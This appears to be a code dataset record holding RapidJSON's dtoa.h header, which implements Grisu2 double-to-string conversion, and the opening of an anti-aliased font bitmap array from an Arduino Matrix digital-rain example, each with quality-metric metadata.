| 10,131 | itoa | h | en | c | code | {"qsc_code_num_words": 1300, "qsc_code_num_chars": 10131.0, "qsc_code_mean_word_length": 3.73692308, "qsc_code_frac_words_unique": 0.12538462, "qsc_code_frac_chars_top_2grams": 0.2437217, "qsc_code_frac_chars_top_3grams": 0.13832853, "qsc_code_frac_chars_top_4grams": 0.07225196, "qsc_code_frac_chars_dupe_5grams": 0.6426513, "qsc_code_frac_chars_dupe_6grams": 0.60333471, "qsc_code_frac_chars_dupe_7grams": 0.54281597, "qsc_code_frac_chars_dupe_8grams": 0.53252367, "qsc_code_frac_chars_dupe_9grams": 0.50741046, "qsc_code_frac_chars_dupe_10grams": 0.46665294, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.14464312, "qsc_code_frac_chars_whitespace": 0.32099497, "qsc_code_size_file_byte": 10131.0, "qsc_code_num_lines": 308.0, "qsc_code_num_chars_line_max": 93.0, "qsc_code_num_chars_line_mean": 32.89285714, "qsc_code_frac_chars_alphabet": 0.56156418, "qsc_code_frac_chars_comments": 0.08626986, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.57983193, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02365777, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01680672, "qsc_codec_frac_lines_func_ratio": 0.02941176, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.04621849, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 1, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/esp_rlottie | rlottie/src/lottie/rapidjson/internal/dtoa.h | // Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
// This is a C++ header-only implementation of Grisu2 algorithm from the publication:
// Loitsch, Florian. "Printing floating-point numbers quickly and accurately with
// integers." ACM Sigplan Notices 45.6 (2010): 233-243.
#ifndef RAPIDJSON_DTOA_
#define RAPIDJSON_DTOA_
#include "itoa.h" // GetDigitsLut()
#include "diyfp.h"
#include "ieee754.h"
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
#ifdef __GNUC__
RAPIDJSON_DIAG_PUSH
RAPIDJSON_DIAG_OFF(effc++)
RAPIDJSON_DIAG_OFF(array-bounds) // some gcc versions generate wrong warnings https://gcc.gnu.org/bugzilla/show_bug.cgi?id=59124
#endif
inline void GrisuRound(char* buffer, int len, uint64_t delta, uint64_t rest, uint64_t ten_kappa, uint64_t wp_w) {
while (rest < wp_w && delta - rest >= ten_kappa &&
(rest + ten_kappa < wp_w || /// closer
wp_w - rest > rest + ten_kappa - wp_w)) {
buffer[len - 1]--;
rest += ten_kappa;
}
}
inline int CountDecimalDigit32(uint32_t n) {
// Simple pure C++ implementation was faster than __builtin_clz version in this situation.
if (n < 10) return 1;
if (n < 100) return 2;
if (n < 1000) return 3;
if (n < 10000) return 4;
if (n < 100000) return 5;
if (n < 1000000) return 6;
if (n < 10000000) return 7;
if (n < 100000000) return 8;
// Will not reach 10 digits in DigitGen()
//if (n < 1000000000) return 9;
//return 10;
return 9;
}
inline void DigitGen(const DiyFp& W, const DiyFp& Mp, uint64_t delta, char* buffer, int* len, int* K) {
static const uint32_t kPow10[] = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000 };
const DiyFp one(uint64_t(1) << -Mp.e, Mp.e);
const DiyFp wp_w = Mp - W;
uint32_t p1 = static_cast<uint32_t>(Mp.f >> -one.e);
uint64_t p2 = Mp.f & (one.f - 1);
int kappa = CountDecimalDigit32(p1); // kappa in [0, 9]
*len = 0;
while (kappa > 0) {
uint32_t d = 0;
switch (kappa) {
case 9: d = p1 / 100000000; p1 %= 100000000; break;
case 8: d = p1 / 10000000; p1 %= 10000000; break;
case 7: d = p1 / 1000000; p1 %= 1000000; break;
case 6: d = p1 / 100000; p1 %= 100000; break;
case 5: d = p1 / 10000; p1 %= 10000; break;
case 4: d = p1 / 1000; p1 %= 1000; break;
case 3: d = p1 / 100; p1 %= 100; break;
case 2: d = p1 / 10; p1 %= 10; break;
case 1: d = p1; p1 = 0; break;
default:;
}
if (d || *len)
buffer[(*len)++] = static_cast<char>('0' + static_cast<char>(d));
kappa--;
uint64_t tmp = (static_cast<uint64_t>(p1) << -one.e) + p2;
if (tmp <= delta) {
*K += kappa;
GrisuRound(buffer, *len, delta, tmp, static_cast<uint64_t>(kPow10[kappa]) << -one.e, wp_w.f);
return;
}
}
// kappa = 0
for (;;) {
p2 *= 10;
delta *= 10;
char d = static_cast<char>(p2 >> -one.e);
if (d || *len)
buffer[(*len)++] = static_cast<char>('0' + d);
p2 &= one.f - 1;
kappa--;
if (p2 < delta) {
*K += kappa;
int index = -kappa;
GrisuRound(buffer, *len, delta, p2, one.f, wp_w.f * (index < 9 ? kPow10[index] : 0));
return;
}
}
}
inline void Grisu2(double value, char* buffer, int* length, int* K) {
const DiyFp v(value);
DiyFp w_m, w_p;
v.NormalizedBoundaries(&w_m, &w_p);
const DiyFp c_mk = GetCachedPower(w_p.e, K);
const DiyFp W = v.Normalize() * c_mk;
DiyFp Wp = w_p * c_mk;
DiyFp Wm = w_m * c_mk;
Wm.f++;
Wp.f--;
DigitGen(W, Wp, Wp.f - Wm.f, buffer, length, K);
}
inline char* WriteExponent(int K, char* buffer) {
if (K < 0) {
*buffer++ = '-';
K = -K;
}
if (K >= 100) {
*buffer++ = static_cast<char>('0' + static_cast<char>(K / 100));
K %= 100;
const char* d = GetDigitsLut() + K * 2;
*buffer++ = d[0];
*buffer++ = d[1];
}
else if (K >= 10) {
const char* d = GetDigitsLut() + K * 2;
*buffer++ = d[0];
*buffer++ = d[1];
}
else
*buffer++ = static_cast<char>('0' + static_cast<char>(K));
return buffer;
}
inline char* Prettify(char* buffer, int length, int k, int maxDecimalPlaces) {
const int kk = length + k; // 10^(kk-1) <= v < 10^kk
if (0 <= k && kk <= 21) {
// 1234e7 -> 12340000000
for (int i = length; i < kk; i++)
buffer[i] = '0';
buffer[kk] = '.';
buffer[kk + 1] = '0';
return &buffer[kk + 2];
}
else if (0 < kk && kk <= 21) {
// 1234e-2 -> 12.34
std::memmove(&buffer[kk + 1], &buffer[kk], static_cast<size_t>(length - kk));
buffer[kk] = '.';
if (0 > k + maxDecimalPlaces) {
// When maxDecimalPlaces = 2, 1.2345 -> 1.23, 1.102 -> 1.1
// Remove extra trailing zeros (at least one) after truncation.
for (int i = kk + maxDecimalPlaces; i > kk + 1; i--)
if (buffer[i] != '0')
return &buffer[i + 1];
return &buffer[kk + 2]; // Reserve one zero
}
else
return &buffer[length + 1];
}
else if (-6 < kk && kk <= 0) {
// 1234e-6 -> 0.001234
const int offset = 2 - kk;
std::memmove(&buffer[offset], &buffer[0], static_cast<size_t>(length));
buffer[0] = '0';
buffer[1] = '.';
for (int i = 2; i < offset; i++)
buffer[i] = '0';
if (length - kk > maxDecimalPlaces) {
// When maxDecimalPlaces = 2, 0.123 -> 0.12, 0.102 -> 0.1
// Remove extra trailing zeros (at least one) after truncation.
for (int i = maxDecimalPlaces + 1; i > 2; i--)
if (buffer[i] != '0')
return &buffer[i + 1];
return &buffer[3]; // Reserve one zero
}
else
return &buffer[length + offset];
}
else if (kk < -maxDecimalPlaces) {
// Truncate to zero
buffer[0] = '0';
buffer[1] = '.';
buffer[2] = '0';
return &buffer[3];
}
else if (length == 1) {
// 1e30
buffer[1] = 'e';
return WriteExponent(kk - 1, &buffer[2]);
}
else {
// 1234e30 -> 1.234e33
std::memmove(&buffer[2], &buffer[1], static_cast<size_t>(length - 1));
buffer[1] = '.';
buffer[length + 1] = 'e';
return WriteExponent(kk - 1, &buffer[0 + length + 2]);
}
}
inline char* dtoa(double value, char* buffer, int maxDecimalPlaces = 324) {
RAPIDJSON_ASSERT(maxDecimalPlaces >= 1);
Double d(value);
if (d.IsZero()) {
if (d.Sign())
*buffer++ = '-'; // -0.0, Issue #289
buffer[0] = '0';
buffer[1] = '.';
buffer[2] = '0';
return &buffer[3];
}
else {
if (value < 0) {
*buffer++ = '-';
value = -value;
}
int length, K;
Grisu2(value, buffer, &length, &K);
return Prettify(buffer, length, K, maxDecimalPlaces);
}
}
#ifdef __GNUC__
RAPIDJSON_DIAG_POP
#endif
} // namespace internal
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_DTOA_
| 8,125 | dtoa | h | en | c | code | {"qsc_code_num_words": 1067, "qsc_code_num_chars": 8125.0, "qsc_code_mean_word_length": 3.96532334, "qsc_code_frac_words_unique": 0.24461106, "qsc_code_frac_chars_top_2grams": 0.0330891, "qsc_code_frac_chars_top_3grams": 0.02647128, "qsc_code_frac_chars_top_4grams": 0.01418104, "qsc_code_frac_chars_dupe_5grams": 0.21862444, "qsc_code_frac_chars_dupe_6grams": 0.16166391, "qsc_code_frac_chars_dupe_7grams": 0.15079177, "qsc_code_frac_chars_dupe_8grams": 0.11628457, "qsc_code_frac_chars_dupe_9grams": 0.11628457, "qsc_code_frac_chars_dupe_10grams": 0.08508627, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.09206234, "qsc_code_frac_chars_whitespace": 0.32086154, "qsc_code_size_file_byte": 8125.0, "qsc_code_num_lines": 245.0, "qsc_code_num_chars_line_max": 129.0, "qsc_code_num_chars_line_mean": 33.16326531, "qsc_code_frac_chars_alphabet": 0.67470098, "qsc_code_frac_chars_comments": 0.21710769, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2311828, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00738878, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.00537634, "qsc_codec_frac_lines_func_ratio": 0.07526882, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.11290323, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/TP_Arduino_DigitalRain_Anim | examples/Demo_TFT_eSPI_Japanese_LargeFont/MatrixCodeNFI34.h | const uint8_t MatrixCodeNFI34[] PROGMEM = {
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xAB, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x07, 0xFA, 0xFF, 0xF8, 0x09, 0x06, 0x14, 0x21, 0x2D, 0x05, 0x00, 0x00, 0x00, 0x00, 0x34,
0xFF, 0xFF, 0xFF, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0x93, 0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x4C, 0x00, 0x00, 0x07, 0xEC, 0xFF, 0xF9, 0x68, 0x66, 0x66, 0x83,
0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF,
0xFD, 0x06, 0x00, 0x00, 0xBE, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xDF, 0x00,
0x00, 0x25, 0xFE, 0xFF, 0xFE, 0x1A, 0x01, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x8A,
0xFF, 0xFF, 0xC1, 0x2A, 0xD7, 0x12, 0x00, 0x83, 0xFF, 0xFF, 0x8A, 0x00, 0x06, 0xE9, 0xFF, 0xFF,
0x54, 0xA0, 0xFF, 0xC3, 0x07, 0xBE, 0xFF, 0xFF, 0x5C, 0x00, 0x55, 0xFF, 0xFF, 0xE2, 0x14, 0xFA,
0xFF, 0xFF, 0xAD, 0xF6, 0xFF, 0xFF, 0x25, 0x00, 0x40, 0xF2, 0xFF, 0x78, 0x00, 0x96, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xED, 0x00, 0x00, 0x00, 0x2A, 0xCA, 0x13, 0x00, 0x02, 0xB0, 0xFF, 0xFF, 0xFF,
0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xDD, 0xFF, 0xFF, 0xFF, 0x6D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0xCD, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xFF, 0xFF, 0xFF, 0xFF, 0x67, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1B, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x87, 0xFF, 0xFF, 0xF1, 0xE9, 0xD8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B,
0xEE, 0xFF, 0xFF, 0x71, 0x4A, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF,
0xE8, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x72, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFA, 0xFF, 0xFF, 0xE1, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x22, 0xEB, 0xFF, 0xFF, 0xF7, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x36, 0xF5, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F,
0xB3, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1B, 0x82, 0xE6, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x3F, 0xAB, 0xFB, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x05, 0x29, 0x52, 0x7B,
0xA3, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x04, 0xF9, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x78, 0x05, 0x00, 0x00, 0x00, 0xE0, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x7D, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xF2, 0xD7,
0xBB, 0xFF, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x0D, 0x00, 0x00,
0x00, 0xD5, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD5, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD5, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x03, 0x03, 0x03, 0x03, 0x03,
0x03, 0xD5, 0xFF, 0xFF, 0x39, 0x03, 0x03, 0x03, 0x03, 0x02, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x26, 0x4D, 0x4D, 0x4D, 0x4D, 0x4D,
0x4D, 0xEC, 0xFF, 0xFF, 0x6F, 0x4D, 0x4D, 0x4D, 0x4D, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xEF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0xFD, 0xFF, 0xFF, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x16, 0xFF, 0xFF, 0xFD, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4C, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x85, 0xFF, 0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC4, 0xFF, 0xFF, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B,
0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B,
0xFF, 0xFF, 0xF0, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xF7,
0xFF, 0xFF, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xCA, 0xFF,
0xFF, 0xFE, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF,
0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF,
0xF6, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0xFF,
0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x86,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xB3, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x52, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x05, 0xD8,
0xFF, 0xD5, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xFF, 0xE1, 0x2D, 0x00, 0x43, 0xE9, 0x1D, 0x03, 0xEB,
0xFF, 0xFF, 0x31, 0x00, 0x00, 0x06, 0xFF, 0xFF, 0xFF, 0x32, 0x53, 0xFC, 0xFF, 0x78, 0x00, 0x99,
0xFF, 0xFF, 0x89, 0x00, 0x00, 0x11, 0xFF, 0xFF, 0xFF, 0x23, 0x4E, 0xFF, 0xFF, 0xD5, 0x00, 0x44,
0xFF, 0xFF, 0xCC, 0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xFF, 0x15, 0x06, 0xEF, 0xFF, 0xFF, 0x2D, 0x03,
0xF0, 0xFF, 0xFD, 0x10, 0x00, 0x34, 0xFF, 0xFF, 0xFF, 0x06, 0x00, 0x9E, 0xFF, 0xFF, 0x72, 0x00,
0xBA, 0xFF, 0xFF, 0x4E, 0x00, 0x52, 0xFF, 0xFF, 0xF7, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xB6, 0x00,
0x83, 0xFF, 0xFF, 0x7B, 0x00, 0x70, 0xFF, 0xFF, 0xE6, 0x00, 0x00, 0x10, 0xFE, 0xFF, 0xF4, 0x05,
0x4B, 0xFD, 0x84, 0x04, 0x00, 0x8F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0xD5, 0xFF, 0xFF, 0x39,
0x0E, 0x36, 0x00, 0x00, 0x00, 0xBE, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0x9E, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x01, 0xF1, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x48, 0x54, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0xFA, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0xDD, 0xFF, 0xFF, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x59, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0xE4, 0xFF, 0xFF, 0xE3, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xA0, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x72, 0xFF, 0xFF, 0xFF, 0xD9, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C,
0xFF, 0xFF, 0xFF, 0xF6, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xA4, 0xFF,
0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF,
0xFF, 0xFF, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xFB, 0xFF,
0xFD, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xEE,
0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x1B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x8D, 0x91, 0x91,
0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x38, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x38, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xBF, 0xBF, 0xBF,
0xBF, 0xBF, 0xBF, 0xBF, 0xBF, 0xBF, 0xBF, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0x57, 0x57, 0x57, 0x57, 0x57,
0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x25, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA6, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
